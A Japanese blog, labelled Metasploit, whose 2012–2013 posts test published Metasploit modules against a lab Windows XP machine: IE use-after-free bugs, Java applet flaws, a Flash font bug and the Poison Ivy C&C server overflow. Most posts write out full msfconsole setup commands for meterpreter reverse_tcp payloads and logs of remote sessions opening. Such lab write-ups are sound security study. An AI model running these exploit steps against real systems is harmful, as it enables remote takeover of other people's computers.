ラベル Metasploit の投稿を表示しています。 すべての投稿を表示
ラベル Metasploit の投稿を表示しています。 すべての投稿を表示

2013年3月16日土曜日

MS13-009 Microsoft IE Use-After-Free の脆弱性を使った攻撃が失敗した

MS13-009 で報告されている Microsoft Internet Explorer の SLayoutRun Use-After-Free の脆弱性を使った攻撃モジュールが metasploit から出ていたので試してみる。
使うモジュールはms13_009_ie_slayoutrun_uafで作者のレポートはここ
ちなみにこのモジュールは「SP3 with Internet Explorer 8」しか対応していないとのこと。

metasploit を起動して必要なパラメータを入力する。

msf > use exploit/windows/browser/ms13_009_ie_slayoutrun_uaf 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set SRVHOST 10.0.0.80
SRVHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set LHOST 10.0.0.80
LHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set URIPATH ms13_009
URIPATH => ms13_009
msf  exploit(ms13_009_ie_slayoutrun_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.0.80:4444 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > [*] Using URL: http://10.0.0.80:8080/ms13_009
[*] Server started.

このモジュールは XP sp3 の IE8 に対応しているが、試しに sp2 の IE6 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[-] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Browser not supported, sending 404: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

404 を返して終了。次は sp3 の IE8 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...

msf  exploit(ms13_009_ie_slayoutrun_uaf) > show sessions

Active sessions
===============

No active sessions.

msf  exploit(ms13_009_ie_slayoutrun_uaf) > 

数回実行したがすべて失敗した。



DEP が有効に働いて失敗した模様。
ということでうまくいかなかった報告。

2013年1月15日火曜日

CVE-2013-0422 Java 7 任意のコードが実行可能な脆弱性

2013年1月10日に Java の脆弱性が報告されていた。
内容としては Java のサンドボックスを回避され任意のコードが実行可能な脆弱性とのこと。
以下 JVN を参照。
http://jvn.jp/cert/JVNTA13-010A/index.html

この脆弱性を利用した metasploit のモジュールがリリースされていたので試してみる。
ソースコードと説明は以下の通り。

ソースコード。
http://www.exploit-db.com/exploits/24045/

metasploit の説明
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Rank = ExcellentRanking となっているので期待して試してみる。
クライアントサイドの環境としては Windows XP SP3 / IE8 / Java7u6 となる。


msf > use exploit/multi/browser/java_jre17_jmxbean 
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_jmxbean) > set srvhost 192.168.1.1
srvhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set srvport 80
srvport => 80
msf  exploit(java_jre17_jmxbean) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set lport 8080
lport => 8080
msf  exploit(java_jre17_jmxbean) > set uripath java
uripath => java
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:8080 
[*] Using URL: http://192.168.1.1:80/java
[*] Server started.
msf  exploit(java_jre17_jmxbean) > 
msf  exploit(java_jre17_jmxbean) > 
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] Sending stage (30216 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:8080 -> 192.168.1.2:1059) at 2013-01-15 21:20:20 +0900

msf  exploit(java_jre17_jmxbean) > show sessions

Active sessions
===============

  Id  Type                   Information                 Connection
  --  ----                   -----------                 ----------
  1   meterpreter java/java  test @ test  192.168.1.1:8080 -> 192.168.1.2:1059 (192.168.1.2)



成功した。
なお、Java6u15 が手元にあったので試しにそちらを試してみたところ失敗した。
Java7 のみの脆弱性なのかもしれないが、どちらにしても1月15日に修正版がりりーすされているので、そちらを適用するのがいい。

2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。

2012年9月20日木曜日

CVE-2012-4969 0-day exploit for IE 7, 8 & 9 on Windows XP, Vista, and 7

9月18日に報告されたIEの脆弱性
http://isc.sans.edu/diary/IE+Zero+Day+is+For+Real+/14107
http://jvn.jp/cert/JVNVU480095/index.html

9月21日には修正パッチがリリースされるとのこと
http://www.ipa.go.jp/security/ciadr/vul/20120920-windows.html

Metasploit のモジュールとしても提供されていたので確認してみる

https://community.rapid7.com/community/metasploit/blog/2012/09/17/lets-start-the-week-with-a-new-internet-explorer-0-day-in-metasploit

http://www.metasploit.com/modules/exploit/windows/browser/ie_execcommand_uaf

以下、XP+IE8 での検証結果

msf >
msf > use exploit/windows/browser/ie_execcommand_uaf
msf  exploit(ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ie_execcommand_uaf) > show options

Module options (exploit/windows/browser/ie_execcommand_uaf):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on th
e local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly gene
rated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(ie_execcommand_uaf) > srvhost 192.168.1.84
[-] Unknown command: srvhost.
msf  exploit(ie_execcommand_uaf) > set srvhost 192.168.1.84
srvhost => 192.168.1.84
msf  exploit(ie_execcommand_uaf) > set lhost 192.168.1.84
lhost => 192.168.1.84
msf  exploit(ie_execcommand_uaf) > set srvport 80
srvport => 80
msf  exploit(ie_execcommand_uaf) > set lport 8080
lport => 8080
msf  exploit(ie_execcommand_uaf) > set uripath test
uripath => test
msf  exploit(ie_execcommand_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.84:8080
[*] Using URL: http://192.168.1.84:80/test
[*] Server started.
msf  exploit(ie_execcommand_uaf) > [*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible
; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath
.1)
[*] 192.168.1.51    ie_execcommand_uaf - Redirecting to Pjeam.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Loading Pjeam.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Loading VKxmjc.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] Sending stage (752128 bytes) to 192.168.1.51
[*] Meterpreter session 1 opened (192.168.1.84:8080 -> 192.168.1.51:2725) at 2012-09-20 22:30:40 +
0900
[*] Session ID 1 (192.168.1.84:8080 -> 192.168.1.51:2725) processing InitialAutoRunScript 'migrate
 -f'
[*] Current server process: iexplore.exe (11744)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 11780
[+] Successfully migrated to process
msf  exploit(ie_execcommand_uaf) >
msf  exploit(ie_execcommand_uaf) >
とりあえずは成功
他にもいくつか試してみたが、うまく行かない場合もあった
成功率はJAVAのほうがよさそうな印象

2012年8月28日火曜日

8月26日に報告されたJavaの0-day(CVE-2012-4681)について

*CVE を修正してます

8月26日に Java の 0-day に関する Exploit code が公開される
http://pastie.org/4594319


FireEye からはこの Java の 0-day が実際に使用されているとの報告

8月28日になってようやく JVN に登録される。
http://jvn.jp/cert/JVNTA12-240A/index.html

Metasploit のモジュールが8月27日に公開されていたので早速試してみる。
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_exec

が、検証環境だとうまく動作しない。
検索してみると、JRE のバージョンによって Exploit が成功しない場合もあるとのこと。
http://scrammed.blogspot.jp/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html

色々試した結果、検証環境のブラウザが IE6 だったのが原因・・・。
IE8 にすると成功するが、詳細までは調べていない。

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_exec) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set srvport 80
srvport => 80
msf  exploit(java_jre17_exec) > set uripath jre
uripath => jre
msf  exploit(java_jre17_exec) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set lport 8080
lport => 8080
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] Using URL: http://172.16.0.80:80/jre
[*] Server started.
msf  exploit(java_jre17_exec) > [*] 172.16.0.100    java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1118) at 2012-08-28 20:32:52 +0900
msf  exploit(java_jre17_exec) >
8月28日時点ではまだ JRE の修正版は出ていない。


2012年8月22日水曜日

2012年8月20日月曜日

Adobe Flash Player Exploit CVE-2012-1535

Adobe Flash Player の脆弱性 CVE-2012-1535 を使う exploit が出ていたので試してみる。
脆弱性の詳細は下記のリンク。
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1535

Metasploit の情報は下記のリンク。
http://www.metasploit.com/modules/exploit/windows/browser/adobe_flash_otf_font

windows xp には flashplayer11_2r202_228_winax_32bit.exe をインストールして、Metasoloit で下記のように実行したところ、まずは失敗。
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:4444
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://0.0.0.0:8080/X8CVKazCkgdN5X
msf  exploit(adobe_flash_otf_font) > [*]  Local IP: http://172.16.0.80:8080/X8CVKazCkgdN5X
[*] Server started.

msf  exploit(adobe_flash_otf_font) >
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X5euz.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload

msf  exploit(adobe_flash_otf_font) >

Metasploit のブログに「Windows XP なら ROP chain のオプションを JRE にしてもいいぜ!!」的なことが書いてあったので、試してみると成功した。

https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(adobe_flash_otf_font) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set srvport 80
srvport => 80
msf  exploit(adobe_flash_otf_font) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set lport 8080
lport => 8080
msf  exploit(adobe_flash_otf_font) > set uripath test
uripath => test
msf  exploit(adobe_flash_otf_font) > set ROP JRE
ROP => JRE
msf  exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://172.16.0.80:80/test
[*] Server started.
msf  exploit(adobe_flash_otf_font) > [*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test6QWwOQw.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1052) at 2012-08-20 22:34:05 +0900
[*] Session ID 1 (172.16.0.80:8080 -> 172.16.0.100:1052) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (184)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 128
[+] Successfully migrated to process

msf  exploit(adobe_flash_otf_font) >
msf  exploit(adobe_flash_otf_font) > show sessions

Active sessions
===============

  Id  Type                   Information                                 Connection
  --  ----                   -----------                                 ----------
  1   meterpreter x86/win32  HOGEHOGE\hogehoge @ HOGEHOGE-71815D  172.16.0.80:8080 -> 172.16.0.100:1052 (172.16.0.100)

msf  exploit(adobe_flash_otf_font) >
メモリの状態とかまでは確認してないないので、詳細は分からないがとりあえず何も考えずに Windows で試すなら JRE を使用したほうが成功する。

2012年7月15日日曜日

Poison Ivy 2.3.2 C&C Server Buffer Overflow

Poison Ivy の脆弱性に対する Exploit が出ていたので試してみる。

詳細は以下のとおり。
DEP が有効になっている環境では失敗すると注釈にあるので、 Exploit Rank が Nomal となっていると思われる。
http://www.exploit-db.com/exploits/19613/
http://www.metasploit.com/modules/exploit/windows/misc/poisonivy_bof

Poison Ivy は RAT の一種で、EMC が攻撃されたときに使われたツールとして有名
http://www.poisonivy-rat.com/

今回はターゲットとなる Windows マシンに Poison Ivy をインストールし、Poison Ivy の待ち受けポートを 80 番に設定。
ターゲットマシンの 80 番に Exploit を投げ込むように Metasploit を設定する。
msf >
msf > use exploit/windows/misc/poisonivy_bof
msf  exploit(poisonivy_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(poisonivy_bof) > set LHOST 10.0.0.10
LHOST => 10.0.0.10
msf  exploit(poisonivy_bof) > set RHOST 10.0.0.11
RHOST => 10.0.0.11
msf  exploit(poisonivy_bof) > set RPORT 80
RPORT => 80
msf  exploit(poisonivy_bof) > exploit

[*] Started reverse handler on 10.0.0.10:4444
[*] Performing handshake...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.0.0.11
[*] Meterpreter session 1 opened (10.0.0.10:4444 -> 10.0.0.11:1036) at 2012-07-15 21:54:24 +0900

meterpreter >
 成功。
Poison Ivy については開発がとまっているようなので、パッチがあたることはない。

検証で使うにしても、インターネットにさらして使う場合は注意しよう。

2012年7月12日木曜日

CVE-2012-1723

CVE-2012-1723 で公開された Java Applet の脆弱性をつく exploit が公開されたので検証

脆弱性の詳細については下記参照
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1723
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-002752.html

Exploit の詳細については下記参照
http://www.exploit-db.com/exploits/19717/
http://www.metasploit.com/modules/exploit/multi/browser/java_verifier_field_access

Metasploit で実行
msf >
msf > use exploit/multi/browser/java_verifier_field_access
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set srvhost 1.0.0.80
srvhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set srvport 80
srvport => 80
msf  exploit(java_verifier_field_access) > set lhost 1.0.0.80
lhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set lport 8080
lport => 8080
msf  exploit(java_verifier_field_access) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 1.0.0.80:8080
[*] Using URL: http://1.0.0.80:80/IlDcdK6w4yfJ
[*] Server started.
msf  exploit(java_verifier_field_access) >
古いバージョンの Java を使用している Windows XP から
http://1.0.0.80:80/IlDcdK6w4yfJ
へアクセスしてみる
msf  exploit(java_verifier_field_access) >
[*] 192.168.0.100    java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution
[*] 192.168.0.100    java_verifier_field_access - Generated jar to drop (5483 bytes).
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] Sending stage (30216 bytes) to 192.168.0.100
[*] Meterpreter session 1 opened (1.0.0.80:8080 -> 192.168.0.100:1039) at 2012-07-12 20:31:59 +0900

msf  exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
成功

Metasploit のアップデート

Metasploit の初期状態では最新の exploit を利用できないのでアップデートを行う
失敗することもあるので、何度かチャレンジ




root@bt:~# /opt/framework/msf3/msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

A    scripts/resource/autoexploit.rc
U    scripts/meterpreter/hashdump.rb
U    scripts/meterpreter/getgui.rb
・・・以下略
 Updated to revision 15620.
root@bt:~# 

Metasploit の起動

BackTrack からは下記コマンドで起動
/opt/framework/msf3/msfconsole

Metasploit

「実践 Metaploit」を片手に使い方メモを残していきます。BT5 で msfconsole メインで使います。そのうち変わるかも。

wikipedia より
Metasploitは、オープンソースなコンピュータセキュリティに関するプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス(コンピュータ・フォレンジクスによる解析への対抗技術)などを主な守備範囲としたプロジェクトの名称である。また、本プロジェクトのその成果ソフトウェアとしてよく知られるMetasploit Frameworkの省略名としてもしばしば用いられる